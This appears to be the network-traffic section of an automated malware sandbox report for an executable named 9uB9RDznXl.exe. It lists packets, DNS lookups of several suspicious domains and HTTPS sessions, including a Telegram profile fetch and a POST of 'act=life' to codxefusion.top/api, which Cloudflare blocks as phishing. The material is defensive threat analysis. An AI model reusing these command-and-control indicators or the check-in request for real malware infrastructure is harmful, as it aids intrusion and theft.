Mar 17, 2025 16:09:49.339102030 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.339329004 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.340419054 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.340419054 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.340492964 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.474590063 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.474632025 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.474663019 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.474684954 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.474690914 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.474700928 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.474734068 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.474803925 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.474847078 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.478672981 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.478694916 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.478705883 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.478710890 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.480097055 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.480145931 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.480241060 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.480637074 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.480652094 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.938483953 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.938568115 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.014260054 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.014288902 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.014709949 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.016043901 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.016063929 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.016165018 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518678904 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518727064 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518750906 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518774986 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.518790007 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518800974 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518826008 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.518908024 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518969059 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.518985033 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.519000053 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.519042015 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.519048929 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.519432068 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.519470930 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.519478083 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.562195063 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.605281115 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.605319023 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.605446100 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.605472088 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.605484009 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.605509996 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.605525017 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.605566978 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.605607033 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.741533041 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.741578102 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:50.741594076 CET	49724	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:50.741600990 CET	443	49724	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:51.099370003 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.099417925 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:51.099515915 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.099812031 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.099824905 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:51.685159922 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:51.685393095 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.686920881 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.686932087 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:51.687139988 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:51.688199997 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.688358068 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.688395977 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:51.688443899 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:51.688450098 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.175523043 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.175612926 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.175693035 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.175895929 CET	49725	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.175913095 CET	443	49725	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.283920050 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.283965111 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.284075022 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.284418106 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.284431934 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.749264002 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.749356031 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.757435083 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.757447004 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.757662058 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.759108067 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.759299040 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.759326935 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:52.759385109 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:52.759391069 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:53.273827076 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:53.273929119 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:53.274132013 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:53.274271011 CET	49726	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:53.274287939 CET	443	49726	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:53.545006990 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:53.545047045 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:53.545119047 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:53.545423985 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:53.545435905 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.001842022 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.001941919 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:54.003081083 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:54.003091097 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.003298044 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.004295111 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:54.004434109 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:54.004467010 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.004565001 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:54.004575968 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.577291012 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.577390909 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:54.577543974 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:54.577821970 CET	49727	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:54.577840090 CET	443	49727	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:55.606137037 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:55.606168032 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:55.606395006 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:55.606736898 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:55.606746912 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:56.096867085 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:56.096930027 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:56.098449945 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:56.098459959 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:56.098779917 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:56.099854946 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:56.099924088 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:56.099947929 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:56.636228085 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:56.636524916 CET	443	49731	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:56.636559963 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:56.636596918 CET	49731	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.108900070 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.108935118 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.109056950 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.109328985 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.109344006 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.576267958 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.576373100 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.577763081 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.577775955 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.578279018 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.579479933 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.580282927 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.580332994 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.580415964 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.580463886 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.580549955 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.580621958 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.580724001 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.580764055 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.580872059 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.580899000 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.581024885 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.581047058 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.581056118 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.581141949 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.581176996 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.590189934 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.590337038 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.590373993 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.590388060 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.590487957 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.590789080 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.590827942 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.590857029 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.591046095 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:57.591196060 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:57.595721960 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:59.342566013 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:59.342824936 CET	443	49733	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:59.342911959 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:59.342991114 CET	49733	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:59.363981009 CET	49736	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:59.364015102 CET	443	49736	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:59.364219904 CET	49736	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:59.364461899 CET	49736	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:59.364476919 CET	443	49736	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:59.496505976 CET	49736	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:10:20.753515005 CET	54978	53	192.168.2.5	162.159.36.2
Mar 17, 2025 16:10:20.758276939 CET	53	54978	162.159.36.2	192.168.2.5
Mar 17, 2025 16:10:20.758368015 CET	54978	53	192.168.2.5	162.159.36.2
Mar 17, 2025 16:10:20.763078928 CET	53	54978	162.159.36.2	192.168.2.5
Mar 17, 2025 16:10:21.211958885 CET	54978	53	192.168.2.5	162.159.36.2
Mar 17, 2025 16:10:21.216897011 CET	53	54978	162.159.36.2	192.168.2.5
Mar 17, 2025 16:10:21.217454910 CET	54978	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 16:09:47.530329943 CET	63713	53	192.168.2.5	1.1.1.1
Mar 17, 2025 16:09:47.538305998 CET	53	63713	1.1.1.1	192.168.2.5
Mar 17, 2025 16:09:48.430882931 CET	54960	53	192.168.2.5	1.1.1.1
Mar 17, 2025 16:09:48.460405111 CET	53	54960	1.1.1.1	192.168.2.5
Mar 17, 2025 16:09:48.465148926 CET	60466	53	192.168.2.5	1.1.1.1
Mar 17, 2025 16:09:48.474998951 CET	53	60466	1.1.1.1	192.168.2.5
Mar 17, 2025 16:09:48.477051973 CET	50858	53	192.168.2.5	1.1.1.1
Mar 17, 2025 16:09:48.486263990 CET	53	50858	1.1.1.1	192.168.2.5
Mar 17, 2025 16:09:48.487396955 CET	63369	53	192.168.2.5	1.1.1.1
Mar 17, 2025 16:09:48.496921062 CET	53	63369	1.1.1.1	192.168.2.5
Mar 17, 2025 16:09:48.506277084 CET	58730	53	192.168.2.5	1.1.1.1
Mar 17, 2025 16:09:48.518754959 CET	53	58730	1.1.1.1	192.168.2.5
Mar 17, 2025 16:09:48.520822048 CET	55483	53	192.168.2.5	1.1.1.1
Mar 17, 2025 16:09:48.866296053 CET	53	55483	1.1.1.1	192.168.2.5
Mar 17, 2025 16:10:20.752909899 CET	53	60967	162.159.36.2	192.168.2.5
Mar 17, 2025 16:10:21.245206118 CET	53	50356	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2025 16:09:47.530329943 CET	192.168.2.5	1.1.1.1	0xad24	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.430882931 CET	192.168.2.5	1.1.1.1	0x7443	Standard query (0)	socialsscesforum.icu	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.465148926 CET	192.168.2.5	1.1.1.1	0x9522	Standard query (0)	hardswarehub.today	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.477051973 CET	192.168.2.5	1.1.1.1	0xd1a6	Standard query (0)	gadgethgfub.icu	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.487396955 CET	192.168.2.5	1.1.1.1	0x8ed0	Standard query (0)	hardrwarehaven.run	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.506277084 CET	192.168.2.5	1.1.1.1	0xa69d	Standard query (0)	techmindzs.live	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.520822048 CET	192.168.2.5	1.1.1.1	0x3e36	Standard query (0)	codxefusion.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 17, 2025 16:09:47.538305998 CET	1.1.1.1	192.168.2.5	0xad24	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.460405111 CET	1.1.1.1	192.168.2.5	0x7443	Name error (3)	socialsscesforum.icu	none	none	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.474998951 CET	1.1.1.1	192.168.2.5	0x9522	Name error (3)	hardswarehub.today	none	none	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.486263990 CET	1.1.1.1	192.168.2.5	0xd1a6	Name error (3)	gadgethgfub.icu	none	none	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.496921062 CET	1.1.1.1	192.168.2.5	0x8ed0	Name error (3)	hardrwarehaven.run	none	none	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.518754959 CET	1.1.1.1	192.168.2.5	0xa69d	Name error (3)	techmindzs.live	none	none	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.866296053 CET	1.1.1.1	192.168.2.5	0x3e36	No error (0)	codxefusion.top		172.67.212.102	A (IP address)	IN (0x0001)	false
Mar 17, 2025 16:09:48.866296053 CET	1.1.1.1	192.168.2.5	0x3e36	No error (0)	codxefusion.top		104.21.69.194	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

codxefusion.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49722	149.154.167.99	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:48 UTC	195	OUT	GET /socialsscesforum HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: t.me
2025-03-17 15:09:48 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 17 Mar 2025 15:09:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12447 Connection: close Set-Cookie: stel_ssid=80aeb05b4753c812a0_3234981448545064946; expires=Tue, 18 Mar 2025 15:09:48 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-03-17 15:09:48 UTC	12447	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 73 6f 63 69 61 6c 73 73 63 65 73 66 6f 72 75 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @socialsscesforum</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49723	172.67.212.102	443	6816	C:\Users\user\Desktop\9uB9RDznXl.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 15:09:49 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: codxefusion.top
2025-03-17 15:09:49 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-03-17 15:09:49 UTC	558	IN	HTTP/1.1 403 Forbidden Date: Mon, 17 Mar 2025 15:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kakfeifQBtVIFGVXN64g%2FN%2FZ%2F1mdLJoYM7wWjjoyfCZSQDCHSN9NeYPrlfP2g7HouDIKOHaTfJoquw14ZNWBhc2tcBkZt%2BTj6jSImr8YN%2Bo3jfsfmhkv6MVHuzTGY8o0wgk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921d69dfe801436a-EWR
2025-03-17 15:09:49 UTC	811	IN	Data Raw: 31 31 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11c4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-03-17 15:09:49 UTC	1369	IN	Data Raw: 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 Data Ascii: styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementByI
2025-03-17 15:09:49 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form acti
